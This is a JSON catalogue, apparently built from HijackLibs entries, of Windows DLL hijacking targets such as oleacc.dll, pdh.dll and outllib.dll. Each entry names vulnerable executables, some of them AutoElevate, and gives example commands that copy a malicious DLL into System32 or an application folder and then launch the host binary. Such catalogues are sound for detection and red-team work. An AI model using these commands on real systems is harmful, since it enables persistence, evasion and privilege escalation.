        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ntmarta.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious ntprint.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\ntprint.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\ntprint.exe\\\"\"\n\n# ntprint.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\ntprint.exe (Search Order)\n\n**Acknowledgement:** Adam\n",
    "_source": "windows-dllhijack-ntprint.md",
    "author": "SanSan",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ntprint.dll — Search Order hijacking (Microsoft)",
    "execution": {
      "template": "ntprint.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdout"
    ],
    "id": "windows-dllhijack-ntprint",
    "name": "ntprint.dll",
    "namespace": "windows:dllhijack:ntprint",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.hexacorn.com/blog/2025/10/06/ntprint-exe-lolbin/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ntprint.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ntshrui.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\ntshrui.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\compmgmtlauncher.exe\\\"\"\n\n# ntshrui.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\compmgmtlauncher.exe (Environment Variable)\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-ntshrui.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ntshrui.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "ntshrui.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ntshrui",
    "name": "ntshrui.dll",
    "namespace": "windows:dllhijack:ntshrui",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ntshrui.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious nvsmartmax.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\NVIDIA Corporation\\\\Display\\\\nvsmartmax.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\NVIDIA Corporation\\\\Display\\\\nvSmartEx.exe\\\"\"\n\n# nvsmartmax.dll\n\n**Vendor:** Nvidia\n\n**Expected Location:** %PROGRAMFILES%\\NVIDIA Corporation\\Display\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\NVIDIA Corporation\\Display\\nvSmartEx.exe (Sideloading)\n",
    "_source": "windows-dllhijack-nvsmartmax.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "nvsmartmax.dll — Sideloading hijacking (Nvidia)",
    "execution": {
      "template": "nvsmartmax.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-nvsmartmax",
    "name": "nvsmartmax.dll",
    "namespace": "windows:dllhijack:nvsmartmax",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.cybereason.com/blog/research/deadringer-exposing-chinese-threat-actors-targeting-major-telcos"
      },
      {
        "label": "Reference",
        "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/nvsmartmax.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious oci.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\oci.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\msdtc.exe\\\"\"\n\n# oci.dll\n\n**Vendor:** Microsoft\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\msdtc.exe (Phantom)\n",
    "_source": "windows-dllhijack-oci.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "oci.dll — Phantom hijacking (Microsoft)",
    "execution": {
      "template": "oci.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-oci",
    "name": "oci.dll",
    "namespace": "windows:dllhijack:oci",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel/"
      },
      {
        "label": "Reference",
        "url": "https://www.crowdstrike.com/blog/4-ways-adversaries-hijack-dlls/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/oci.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious offdmpsvc.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\offdmpsvc.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\wermgr.exe\\\"\"\n\n# offdmpsvc.dll\n\n**Vendor:** Microsoft\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\wermgr.exe (Phantom)\n\n**Acknowledgement:** Hexacorn\n",
    "_source": "windows-dllhijack-offdmpsvc.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "offdmpsvc.dll — Phantom hijacking (Microsoft)",
    "execution": {
      "template": "offdmpsvc.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "windows-dllhijack-offdmpsvc",
    "name": "offdmpsvc.dll",
    "namespace": "windows:dllhijack:offdmpsvc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.hexacorn.com/blog/2025/06/14/wermgr-exe-boot-offdmpsvc-dll-lolbin/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/offdmpsvc.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious oleacc.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\oleacc.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bootim.exe\\\"\"\n\n# oleacc.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bootim.exe (Sideloading)\n- %SYSTEM32%\\cttune.exe (Sideloading)\n- %SYSTEM32%\\devicepairingwizard.exe (Sideloading)\n- %SYSTEM32%\\easeofaccessdialog.exe (Sideloading)\n- %SYSTEM32%\\fsquirt.exe (Sideloading)\n- %SYSTEM32%\\magnify.exe (Sideloading)\n- %SYSTEM32%\\optionalfeatures.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\osk.exe (Sideloading)\n- %SYSTEM32%\\psr.exe (Sideloading)\n- %SYSTEM32%\\sethc.exe (Sideloading)\n- %SYSTEM32%\\snippingtool.exe (Sideloading)\n- %SYSTEM32%\\utilman.exe (Sideloading)\n- %SYSTEM32%\\wmpdmc.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-oleacc.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "oleacc.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "oleacc.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-oleacc",
    "name": "oleacc.dll",
    "namespace": "windows:dllhijack:oleacc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/oleacc.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious omadmapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\omadmapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\deviceenroller.exe\\\"\"\n\n# omadmapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\deviceenroller.exe (Sideloading)\n- %SYSTEM32%\\dmcertinst.exe (Sideloading)\n- %SYSTEM32%\\dmcfghost.exe (Sideloading)\n- %SYSTEM32%\\dmomacpmo.exe (Sideloading)\n- %SYSTEM32%\\hvsievaluator.exe (Sideloading)\n- %SYSTEM32%\\mdmagent.exe (Sideloading)\n- %SYSTEM32%\\mdmappinstaller.exe (Sideloading)\n- %SYSTEM32%\\mdmdiagnosticstool.exe (Sideloading)\n- %SYSTEM32%\\omadmclient.exe (Sideloading)\n- %SYSTEM32%\\omadmrpc.exe (Sideloading)\n- %SYSTEM32%\\usocoreworker.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-omadmapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "omadmapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "omadmapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-omadmapi",
    "name": "omadmapi.dll",
    "namespace": "windows:dllhijack:omadmapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/omadmapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious onex.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\onex.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# onex.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-onex.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "onex.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "onex.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-onex",
    "name": "onex.dll",
    "namespace": "windows:dllhijack:onex",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/onex.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious opcservices.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\opcservices.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\proximityuxhost.exe\\\"\"\n\n# opcservices.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\proximityuxhost.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-opcservices.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "opcservices.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "opcservices.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "windows-dllhijack-opcservices",
    "name": "opcservices.dll",
    "namespace": "windows:dllhijack:opcservices",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/opcservices.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious opera_elf.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%LOCALAPPDATA%\\\\Programs\\\\Opera\\\\%VERSION%\\\\opera_elf.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%LOCALAPPDATA%\\\\programs\\\\opera\\\\%VERSION%\\\\opera.exe\\\"\"\n\n# opera_elf.dll\n\n**Vendor:** Opera\n\n**Expected Location:** %LOCALAPPDATA%\\Programs\\Opera\\%VERSION%\n\n**Vulnerable Executables:**\n- %LOCALAPPDATA%\\programs\\opera\\%VERSION%\\opera.exe (Sideloading)\n\n**Acknowledgement:** S3cur3Th1sSh1t\n",
    "_source": "windows-dllhijack-opera-elf.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "opera_elf.dll — Sideloading hijacking (Opera)",
    "execution": {
      "template": "opera_elf.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-opera-elf",
    "name": "opera_elf.dll",
    "namespace": "windows:dllhijack:opera-elf",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://twitter.com/ShitSecure/status/1566127363389329412"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/opera-elf.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious osbaseln.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\osbaseln.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\fondue.exe\\\"\"\n\n# osbaseln.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\fondue.exe (Sideloading)\n- %SYSTEM32%\\optionalfeatures.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-osbaseln.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "osbaseln.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "osbaseln.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-osbaseln",
    "name": "osbaseln.dll",
    "namespace": "windows:dllhijack:osbaseln",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/osbaseln.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious osksupport.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\osksupport.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\osk.exe\\\"\"\n\n# osksupport.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\osk.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-osksupport.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "osksupport.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "osksupport.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-osksupport",
    "name": "osksupport.dll",
    "namespace": "windows:dllhijack:osksupport",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/osksupport.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious osuninst.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\osuninst.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\convert.exe\\\"\"\n\n# osuninst.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\convert.exe (Sideloading)\n- %SYSTEM32%\\vds.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-osuninst.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "osuninst.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "osuninst.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-osuninst",
    "name": "osuninst.dll",
    "namespace": "windows:dllhijack:osuninst",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/osuninst.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious outllib.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Microsoft Office\\\\OFFICE%VERSION%\\\\outllib.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Microsoft Office\\\\OFFICE%VERSION%\\\\outlook.exe\\\"\"\n\n# outllib.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Microsoft Office\\OFFICE%VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Microsoft Office\\OFFICE%VERSION%\\outlook.exe (Sideloading)\n- %PROGRAMFILES%\\Microsoft Office\\Root\\OFFICE%VERSION%\\outlook.exe (Sideloading)\n- %PROGRAMFILES%\\Microsoft Office %VERSION%\\ClientX86\\Root\\Office%VERSION%\\outlook.exe (Sideloading)\n- %PROGRAMFILES%\\Microsoft Office %VERSION%\\ClientX64\\Root\\Office%VERSION%\\outlook.exe (Sideloading)\n",
    "_source": "windows-dllhijack-outllib.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "outllib.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "outllib.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-outllib",
    "name": "outllib.dll",
    "namespace": "windows:dllhijack:outllib",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://medium.com/insomniacs/analysis-walkthrough-fun-clientrun-part-1-b2509344ebe6"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/outllib.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious p2p.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\p2p.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# p2p.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-p2p.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "p2p.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "p2p.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-p2p",
    "name": "p2p.dll",
    "namespace": "windows:dllhijack:p2p",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/p2p.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious p2pnetsh.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\p2pnetsh.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# p2pnetsh.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-p2pnetsh.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "p2pnetsh.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "p2pnetsh.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-p2pnetsh",
    "name": "p2pnetsh.dll",
    "namespace": "windows:dllhijack:p2pnetsh",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/p2pnetsh.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious p9np.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\p9np.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# p9np.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Environment Variable)\n- %SYSTEM32%\\msdt.exe (Environment Variable)\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n- %SYSTEM32%\\powershell.exe (Environment Variable)\n- %SYSTEM32%\\stordiag.exe (Environment Variable)\n- %SYSTEM32%\\tabcal.exe (Environment Variable)\n- %SYSTEM32%\\verifier.exe (Environment Variable)\n- %SYSTEM32%\\workfolders.exe (Environment Variable)\n- %SYSTEM32%\\write.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-p9np.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "p9np.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "p9np.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-p9np",
    "name": "p9np.dll",
    "namespace": "windows:dllhijack:p9np",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/p9np.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious pcaui.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\pcaui.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\pcaui.exe\\\"\"\n\n# pcaui.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\pcaui.exe (Sideloading)\n- %SYSTEM32%\\pcalua.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-pcaui.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "pcaui.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "pcaui.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-pcaui",
    "name": "pcaui.dll",
    "namespace": "windows:dllhijack:pcaui",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/pcaui.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious pdh.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\pdh.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\plasrv.exe\\\"\"\n\n# pdh.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\plasrv.exe (Sideloading)\n- %SYSTEM32%\\relog.exe (Sideloading)\n- %SYSTEM32%\\taskmgr.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\tracerpt.exe (Sideloading)\n- %SYSTEM32%\\typeperf.exe (Sideloading)\n- %SYSTEM32%\\logman.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-pdh.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "pdh.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "pdh.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-pdh",
    "name": "pdh.dll",
    "namespace": "windows:dllhijack:pdh",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
